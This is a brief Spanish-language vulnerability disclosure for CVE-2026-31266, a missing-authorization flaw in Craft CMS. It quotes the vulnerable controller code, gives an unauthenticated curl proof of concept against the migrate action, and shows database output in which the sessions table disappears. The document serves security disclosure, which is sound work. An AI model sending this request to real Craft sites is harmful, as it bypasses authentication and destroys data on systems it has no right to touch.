CVE-2026-31266 - Craft CMS Falta de Autorización

Información del CVE

Contenido de la Evidencia

• screenshots/ - Demostraciones de Prueba de Concepto

Vulnerabilidad

• Tipo: Falta de Autorización
• Impacto: Bypass de Autenticación
• Proveedor: Craft CMS
• Estado: CVE-2026-31266

Código Vulnerable

Archivo: src/controllers/AppController.php

Líneas 65-68:

protected array|bool|int $allowAnonymous = [
    'migrate' => self::ALLOW_ANONYMOUS_LIVE | self::ALLOW_ANONYMOUS_OFFLINE,
];

Prueba de Concepto

# With allowAdminChanges=false
curl -X POST "http://target/actions/app/migrate"

Evidencia

Antes del Ataque:

mysql> SELECT COUNT(*) FROM sessions;
+----------+
| COUNT(*) |
+----------+
|        0 |
+----------+

Después del Ataque:

mysql> SELECT COUNT(*) FROM sessions;
ERROR 1146 (42S02): Table 'sessions' doesn't exist

Referencias

• Repositorio de Craft CMS
• Documentación de Seguridad de Craft CMS
• Entrada NVD

Contacto

• Investigador de Seguridad: 0xRIXET | Mohammed Al-shehri
• Twitter | X : @0xRIXET
• Email: [email protected]